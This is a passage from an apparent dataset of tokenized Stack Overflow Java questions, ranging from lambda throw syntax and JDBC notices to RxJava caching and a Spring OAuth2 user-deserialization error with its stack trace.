new RuntimeException ( ) ) ; new Thread ( ( ) - > { throw new RuntimeException ( ) ; } ) ;,Why must throw statements be enclosed with a full code block in a lambda body ? +Java,"With a map in Java you can write map.computeIfAbsent ( key , f ) that checks whether the key exists in the map already , and if not calls f on the key to generate a value , and enters that in the map . You also have map.putIfAbsent ( key , value ) which only puts the value in the map if the key does not already exist in the map.Ignoring the fact the Java methods also return the value , and instead wanting the new map returned , what would be the equivalent code in Clojure ? The best I 've come up with so far is to roll my own with something likeIs there an alternative to rolling my own ?",( defn compute-if-absent [ map key f ] ( if ( key map ) map ( assoc map key ( f key ) ) ) ),What 's the equivalent of Java 's computeIfAbsent or putIfAbsent in Clojure ? +Java,"I was teaching an introductory programming course today and was walking through some simple code involving variable assignments in Java . The point of the code was n't to show off anything particular exciting , but mostly to make sure students understood variable assignment statements.I had the following method up on the board and was tracing through it one line at a time : A student asked me whether myInt would ever actually hold the values 137 and 42 when the program ran , or if it would just jump straight to holding 43 . I told the student that the code would execute each line in turn , so the variable would actually hold these intermediate values.Honestly , though , I was n't sure what bytecode javac would emit ( completely ignoring the optimizations done by the JVM ) . Is javac ( or any Java compiler ) legally allowed to optimize the silly assignment statements away and to instead just directly initialize myInt to 43 ? According to javap , on my system , the above code compiled with javac producesSo there is no optimization going on here . My question , though , is whether it 's legal to optimize this or not , so this does n't resolve anything .",private void simpleMethod ( ) { int myInt = 137 ; myInt = 42 ; myInt = myInt + 1 ; /* ... code using myInt ... */ } 0 : sipush 137 3 : istore_1 4 : bipush 42 6 : istore_1 7 : iload_1 8 : iconst_1 9 : iadd 10 : istore_1 11 : return,Can a compliant Java compiler optimize this code ? +Java,"I am experiencing an issue with the latest version of PostgreSQL JDBC driver : I can not collect warnings/notices while the prepared statement is still being executed . Warning list only becomes available after the statement returns.I used this feature with some previous driver version ( I guess 9.1 ) , but the implementation of PgPreparedStatement has probably changed since then.What are my options to collect warnings before results are returned ? I created this simple test : It creates a function that runs for 3 seconds and writes a tick at the beginning of each second.Test passes like this as the timer starts after result is returned . But if you decrease the timer delay from 3500 to 1500 the test will fail even though the database would have issued 2 notices by that time .","public class WarningTest { @ Test public void readWarnings ( ) throws Exception { Connection con = DriverManager.getConnection ( `` jdbc : postgresql : //localhost:5432/test_db '' , `` test_user '' , `` test_password '' ) ; createTestFunction ( con ) ; PreparedStatement statement = con.prepareStatement ( `` SELECT test_function ( ) ; '' ) ; SQLWarning [ ] warnings = new SQLWarning [ 1 ] ; new Timer ( ) .schedule ( new TimerTask ( ) { @ Override public void run ( ) { try { warnings [ 0 ] = statement.getWarnings ( ) ; } catch ( SQLException e ) { Assert.fail ( `` Exception thrown : `` + e.getMessage ( ) ) ; } } } , 3500 ) ; statement.executeQuery ( ) ; Thread.sleep ( 1000 ) ; statement.close ( ) ; Assert.assertNotNull ( warnings [ 0 ] ) ; Assert.assertFalse ( warnings [ 0 ] .getMessage ( ) .isEmpty ( ) ) ; } private void createTestFunction ( Connection con ) throws SQLException { final PreparedStatement statement = con.prepareStatement ( `` CREATE OR REPLACE FUNCTION test_function ( ) RETURNS VOID AS\n '' + `` $ BODY $ \n '' + `` BEGIN\n '' + `` \tFOR i IN 1..3 LOOP \n '' + `` \t\tRAISE NOTICE 'Tick % ' , i ; \n '' + `` \t\tEXECUTE pg_sleep ( 1 ) ; \n '' + `` \tEND LOOP ; \n '' + `` END\n '' + `` $ BODY $ \n '' + `` \tLANGUAGE plpgsql STABLE ; '' ) ; statement.execute ( ) ; statement.close ( ) ; } }",How to collect warnings/notices while JDBC statement is being executed ? +Java,"Considering the code below and the fact that the 4 HashSets are populated elsewhere.My aim is to contain all element ( s ) that are common in all 4 HashSets.My question is that first of all , am I doing it right ? Secondly , if I 'm doing it right , is there a better way to do it ? If not , then what solution do I have for this problem ?",static Set < String > one=new HashSet < > ( ) ; static Set < String > two=new HashSet < > ( ) ; static Set < String > three=new HashSet < > ( ) ; static Set < String > four=new HashSet < > ( ) ; private static void createIntersectionQrels ( ) { ArrayList < String > temp = new ArrayList < > ( ) ; Set < String > interQrels = new HashSet < > ( ) ; temp.addAll ( one ) ; one.retainAll ( two ) ; interQrels.addAll ( one ) ; one.addAll ( temp ) ; one.retainAll ( three ) ; interQrels.addAll ( one ) ; one.addAll ( temp ) ; one.retainAll ( four ) ; interQrels.addAll ( one ) ; one.addAll ( temp ) ; interQrels.retainAll ( two ) ; interQrels.retainAll ( three ) ; interQrels.retainAll ( four ) ; },How do I calculate intersection between more than two HashSets ? +Java,"Java 8 introduces the concept of default methods . Consider the following interface with a default method : And a class that implements this interface : I have a question about the readability of the following call in the mayOrMayNotImplementThisMethod : I understand that the reason for explicitly specifying the interface name in the above call is to avoid confusion in case multiple interfaces implemented by the class have the same method . What I do n't understand is the meaning of the super keyword in this context . When we say IDefaultMethod.super , what exactly are we referring to here ? Would n't IDefaultMethod.mayOrMayNotImplementThisMethod ( ) be more readable than IDefaultMethod.super.mayOrMayNotImplementThisMethod ( ) ? Removing the super keyword makes it more readable at the cost of distinguishing between a static or non static method call .",public interface IDefaultMethod { public abstract void musImplementThisMethod ( ) ; public default void mayOrMayNotImplementThisMethod ( ) { System.out.println ( `` This method is optional for classes that implement this interface `` ) ; } } public class DefaultMethodImpl implements IDefaultMethod { @ Override public void musImplementThisMethod ( ) { System.out.println ( `` This method must be implementd `` ) ; } @ Override public void mayOrMayNotImplementThisMethod ( ) { // TODO Auto-generated method stub IDefaultMethod.super.mayOrMayNotImplementThisMethod ( ) ; } } IDefaultMethod.super.mayOrMayNotImplementThisMethod ( ) ;,Java 8 default method readability +Java,"I need to transfer decimal values between Java program and a Simulink model , to do so i use UDP sockets , they are no problem in the java side.In Simulink i am able to send the values using 'Stream Output ' block , but the problem presents while receiving from java ! the 'Stream input ' block does n't receive any thing.I am using standard devices UDP protocole , with the right Local UDP port and the address is 'localhost.Please tell me how to correctly receive a double in simulink with udp , or even with other methods , what matter is to transfer the data.thanks in advance.here are some code : ... and in the main method : the 'Board setup ' of the 'Input Stream ' block is Simulink is as below : here is how i receive data from Simulink ins Java ( the method ) : and the setup of `` Output Stream '' block in Simulink :","localSocket = new DatagramSocket ( 9010 ) ; public static void localSend ( String msg , int PORT ) throws Exception { DatagramPacket sendPacket = null , encPacket=null ; try { sendPacket = new DatagramPacket ( msg.getBytes ( ) , msg.getBytes ( ) .length , InetAddress.getLocalHost ( ) , PORT ) ; } catch ( Exception e ) { System.out.printf ( `` Error ! `` ) ; } localSocket.send ( sendPacket ) ; } localSend ( myMessage , 9005 ) ; public static String localReceive ( ) throws Exception { DatagramPacket receivePacket = new DatagramPacket ( receiveData , receiveData.length ) ; int count=0 ; try { localSocket.receive ( receivePacket ) ; return new String ( receivePacket.getData ( ) , receivePacket.getOffset ( ) , receivePacket.getLength ( ) ) ; } catch ( SocketTimeoutException socketTimeoutException ) { return defaultValue ; } }",transfer doubles between java and simulink using udp +Java,"I am running into a pattern frequently and I 'm not quite sure how to get around it effectively . Basically , if I have an Observable < T > holding an expensive item T , I do not want to re-build that T item every time something uses it , or map it to a thousand different other observables which will result in it being built 1000 times.So I started using replay ( ) to cache it for a period , but ideally I would like it to clear the cache when the emissions go idle for a period . Is there an operator or some transformer I can use that accomplishes this ? UPDATETrying to implement this into a Transformer/Operator combo . Is there something I 'm doing wrong here ?","public final class ActionManager { private final Observable < ImmutableList < Action > > actionMap ; private ActionManager ( ) { this.actionMap = Observable.defer ( ( ) - > buildExpensiveList ( ) ) .replay ( 10 , TimeUnit.SECONDS ) .autoConnect ( ) ; } //this method could get called thousands of times //I do n't want to rebuild the map for every call public Observable < Action > forItem ( Item item ) { actionMap.map ( l - > //get Action for item ) ; } } public static < T > Transformer < T , T > recacheOnIdle ( long time , TimeUnit timeUnit ) { return obs - > obs.timeout ( time , timeUnit ) .lift ( new Operator < T , T > ( ) { private volatile T cachedItem ; private volatile boolean isCurrent = false ; @ Override public Subscriber < ? super T > call ( Subscriber < ? super T > s ) { return new Subscriber < T > ( s ) { @ Override public void onCompleted ( ) { if ( ! s.isUnsubscribed ( ) ) { s.onCompleted ( ) ; } } @ Override public void onError ( Throwable e ) { if ( ! s.isUnsubscribed ( ) ) { if ( e instanceof TimeoutException ) { isCurrent = false ; cachedItem = null ; } else { s.onError ( e ) ; } } } @ Override public void onNext ( T t ) { if ( ! s.isUnsubscribed ( ) ) { if ( ! isCurrent ) { cachedItem = t ; } s.onNext ( cachedItem ) ; } } } ; } } ) ; }",RxJava- Caching until emissions go idle for a period ? +Java,I try to secure my Spring Boot app with OAuth2 . Everyting works fine to some point . When I try to get access token from oauth/token endpoint ath first try I am getting token without problem . When I to try get it again I receive exception for custom UserDetails implementation : User enity : I noticed that when I change in returned value in UserDetailsServiceImpl to User from org.springframework.security.core.userdetails package it works fine.The problem occurs in JdbcTokenStore getAccessToken methodI do not really understand why this problem occurs for custom User and works fine for User from spring security package . Did anyone have similar problem before ? Of course at the end using sprign user is some kind of workaround but I would like to understand why it does not work this way.EDIT : Stacktrace,"Failed to deserialize authenticationjava.lang.IllegalArgumentException : java.io.NotSerializableException : Not allowed to deserialize com.example.oauth.user.domain.User @ Data @ EqualsAndHashCode ( of = `` uuid '' ) @ NoArgsConstructor @ AllArgsConstructor @ Entity @ Table ( name = `` app_users '' ) public class User implements UserDetails { @ Id @ GeneratedValue ( strategy = GenerationType.IDENTITY ) private Long id ; @ Column ( name = `` uuid '' ) private String uuid = UUID.randomUUID ( ) .toString ( ) ; @ Column ( name = `` username '' ) private String username ; @ Column ( name = `` password '' ) private String password ; @ Column ( name = `` account_expired '' ) private boolean accountExpired ; @ Column ( name = `` account_locked '' ) private boolean accountLocked ; @ Column ( name = `` credentials_expired '' ) private boolean credentialsExpired ; @ Column ( name = `` enabled '' ) private boolean enabled ; @ ManyToMany ( fetch = FetchType.EAGER ) @ JoinTable ( name = `` users_authorities '' , joinColumns = @ JoinColumn ( name = `` user_id '' , referencedColumnName = `` id '' ) , inverseJoinColumns = @ JoinColumn ( name = `` authority_id '' , referencedColumnName = `` id '' ) ) private Set < Authority > authorities = new HashSet < > ( ) ; @ Override public Collection < Authority > getAuthorities ( ) { return authorities ; } @ Override public boolean isAccountNonExpired ( ) { return ! isAccountExpired ( ) ; } @ Override public boolean isAccountNonLocked ( ) { return ! isAccountLocked ( ) ; } @ Override public boolean isCredentialsNonExpired ( ) { return ! isCredentialsExpired ( ) ; } @ Override public boolean isEnabled ( ) { return enabled ; } } @ Servicepublic class UserDetailsServiceImpl implements UserDetailsService { private final UserRepository userRepository ; public UserDetailsServiceImpl ( UserRepository userRepository ) { this.userRepository = userRepository ; } @ Override @ Transactional ( readOnly = true ) public UserDetails loadUserByUsername ( String username ) throws UsernameNotFoundException { User user = userRepository.findByUsername ( username ) .orElseThrow ( RuntimeException : :new ) ; // With custom user I get java.ioNotSerializableException // return user ; // With that everything is ok return new org.springframework.security.core.userdetails.User ( user.getUsername ( ) , user.getPassword ( ) , user.getAuthorities ( ) ) ; } } public OAuth2AccessToken getAccessToken ( OAuth2Authentication authentication ) { OAuth2AccessToken accessToken = null ; String key = this.authenticationKeyGenerator.extractKey ( authentication ) ; try { accessToken = ( OAuth2AccessToken ) this.jdbcTemplate.queryForObject ( this.selectAccessTokenFromAuthenticationSql , new RowMapper < OAuth2AccessToken > ( ) { public OAuth2AccessToken mapRow ( ResultSet rs , int rowNum ) throws SQLException { return JdbcTokenStore.this.deserializeAccessToken ( rs.getBytes ( 2 ) ) ; } } , new Object [ ] { key } ) ; } catch ( EmptyResultDataAccessException var5 ) { if ( LOG.isDebugEnabled ( ) ) { LOG.debug ( `` Failed to find access token for authentication `` + authentication ) ; } } catch ( IllegalArgumentException var6 ) { LOG.error ( `` Could not extract access token for authentication `` + authentication , var6 ) ; } if ( accessToken ! = null & & ! key.equals ( this.authenticationKeyGenerator.extractKey ( this.readAuthentication ( accessToken.getValue ( ) ) ) ) ) { this.removeAccessToken ( accessToken.getValue ( ) ) ; this.storeAccessToken ( accessToken , authentication ) ; } return accessToken ; } 2019-11-14 22:49:25.227 WARN 9350 -- - [ nio-8080-exec-3 ] o.s.s.o.p.token.store.JdbcTokenStore : Failed to deserialize authenticationjava.lang.IllegalArgumentException : java.io.NotSerializableException : Not allowed to deserialize com.example.oauth.user.domain.User at org.springframework.security.oauth2.common.util.SerializationUtils.deserialize ( SerializationUtils.java:66 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at org.springframework.security.oauth2.provider.token.store.JdbcTokenStore.deserializeAuthentication ( JdbcTokenStore.java:405 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at org.springframework.security.oauth2.provider.token.store.JdbcTokenStore $ 3.mapRow ( JdbcTokenStore.java:198 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at org.springframework.security.oauth2.provider.token.store.JdbcTokenStore $ 3.mapRow ( JdbcTokenStore.java:196 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at org.springframework.jdbc.core.RowMapperResultSetExtractor.extractData ( RowMapperResultSetExtractor.java:94 ) ~ [ spring-jdbc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.jdbc.core.RowMapperResultSetExtractor.extractData ( RowMapperResultSetExtractor.java:61 ) ~ [ spring-jdbc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.jdbc.core.JdbcTemplate $ 1.doInPreparedStatement ( JdbcTemplate.java:679 ) ~ [ spring-jdbc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.jdbc.core.JdbcTemplate.execute ( JdbcTemplate.java:617 ) ~ [ spring-jdbc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.jdbc.core.JdbcTemplate.query ( JdbcTemplate.java:669 ) ~ [ spring-jdbc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.jdbc.core.JdbcTemplate.query ( JdbcTemplate.java:700 ) ~ [ spring-jdbc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.jdbc.core.JdbcTemplate.query ( JdbcTemplate.java:712 ) ~ [ spring-jdbc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.jdbc.core.JdbcTemplate.queryForObject ( JdbcTemplate.java:790 ) ~ [ spring-jdbc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.oauth2.provider.token.store.JdbcTokenStore.readAuthentication ( JdbcTokenStore.java:195 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at org.springframework.security.oauth2.provider.token.store.JdbcTokenStore.getAccessToken ( JdbcTokenStore.java:129 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at org.springframework.security.oauth2.provider.token.DefaultTokenServices.createAccessToken ( DefaultTokenServices.java:84 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at org.springframework.security.oauth2.provider.token.AbstractTokenGranter.getAccessToken ( AbstractTokenGranter.java:72 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at org.springframework.security.oauth2.provider.token.AbstractTokenGranter.grant ( AbstractTokenGranter.java:67 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at org.springframework.security.oauth2.provider.CompositeTokenGranter.grant ( CompositeTokenGranter.java:38 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at org.springframework.security.oauth2.config.annotation.web.configurers.AuthorizationServerEndpointsConfigurer $ 4.grant ( AuthorizationServerEndpointsConfigurer.java:583 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at org.springframework.security.oauth2.provider.endpoint.TokenEndpoint.postAccessToken ( TokenEndpoint.java:132 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) ~ [ na : na ] at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) ~ [ na : na ] at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) ~ [ na : na ] at java.base/java.lang.reflect.Method.invoke ( Method.java:566 ) ~ [ na : na ] at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke ( InvocableHandlerMethod.java:190 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest ( InvocableHandlerMethod.java:138 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle ( ServletInvocableHandlerMethod.java:106 ) ~ [ spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod ( RequestMappingHandlerAdapter.java:888 ) ~ [ spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal ( RequestMappingHandlerAdapter.java:793 ) ~ [ spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle ( AbstractHandlerMethodAdapter.java:87 ) ~ [ spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.servlet.DispatcherServlet.doDispatch ( DispatcherServlet.java:1040 ) ~ [ spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.servlet.DispatcherServlet.doService ( DispatcherServlet.java:943 ) ~ [ spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.servlet.FrameworkServlet.processRequest ( FrameworkServlet.java:1006 ) ~ [ spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.servlet.FrameworkServlet.doPost ( FrameworkServlet.java:909 ) ~ [ spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at javax.servlet.http.HttpServlet.service ( HttpServlet.java:660 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.springframework.web.servlet.FrameworkServlet.service ( FrameworkServlet.java:883 ) ~ [ spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at javax.servlet.http.HttpServlet.service ( HttpServlet.java:741 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:231 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:166 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.tomcat.websocket.server.WsFilter.doFilter ( WsFilter.java:53 ) ~ [ tomcat-embed-websocket-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:193 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:166 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:320 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke ( FilterSecurityInterceptor.java:126 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter ( FilterSecurityInterceptor.java:90 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:334 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter ( ExceptionTranslationFilter.java:118 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:334 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.session.SessionManagementFilter.doFilter ( SessionManagementFilter.java:137 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:334 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter ( AnonymousAuthenticationFilter.java:111 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:334 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter ( SecurityContextHolderAwareRequestFilter.java:158 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:334 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter ( RequestCacheAwareFilter.java:63 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:334 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.authentication.www.BasicAuthenticationFilter.doFilterInternal ( BasicAuthenticationFilter.java:203 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:119 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:334 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter ( LogoutFilter.java:116 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:334 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.header.HeaderWriterFilter.doHeadersAfter ( HeaderWriterFilter.java:92 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal ( HeaderWriterFilter.java:77 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:119 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:334 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter ( SecurityContextPersistenceFilter.java:105 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:334 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal ( WebAsyncManagerIntegrationFilter.java:56 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:119 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:334 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy.doFilterInternal ( FilterChainProxy.java:215 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.security.web.FilterChainProxy.doFilter ( FilterChainProxy.java:178 ) ~ [ spring-security-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate ( DelegatingFilterProxy.java:358 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.filter.DelegatingFilterProxy.doFilter ( DelegatingFilterProxy.java:271 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:193 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:166 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.springframework.web.filter.RequestContextFilter.doFilterInternal ( RequestContextFilter.java:100 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:119 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:193 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:166 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.springframework.web.filter.FormContentFilter.doFilterInternal ( FormContentFilter.java:93 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:119 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:193 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:166 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal ( CharacterEncodingFilter.java:201 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:119 ) ~ [ spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE ] at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:193 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:166 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.StandardWrapperValve.invoke ( StandardWrapperValve.java:202 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.StandardContextValve.invoke ( StandardContextValve.java:96 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.authenticator.AuthenticatorBase.invoke ( AuthenticatorBase.java:526 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.StandardHostValve.invoke ( StandardHostValve.java:139 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.valves.ErrorReportValve.invoke ( ErrorReportValve.java:92 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.core.StandardEngineValve.invoke ( StandardEngineValve.java:74 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.catalina.connector.CoyoteAdapter.service ( CoyoteAdapter.java:343 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.coyote.http11.Http11Processor.service ( Http11Processor.java:408 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.coyote.AbstractProcessorLight.process ( AbstractProcessorLight.java:66 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.coyote.AbstractProtocol $ ConnectionHandler.process ( AbstractProtocol.java:861 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.tomcat.util.net.NioEndpoint $ SocketProcessor.doRun ( NioEndpoint.java:1579 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at org.apache.tomcat.util.net.SocketProcessorBase.run ( SocketProcessorBase.java:49 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1128 ) ~ [ na : na ] at java.base/java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:628 ) ~ [ na : na ] at org.apache.tomcat.util.threads.TaskThread $ WrappingRunnable.run ( TaskThread.java:61 ) ~ [ tomcat-embed-core-9.0.27.jar:9.0.27 ] at java.base/java.lang.Thread.run ( Thread.java:834 ) ~ [ na : na ] Caused by : java.io.NotSerializableException : Not allowed to deserialize com.example.oauth.user.domain.User at 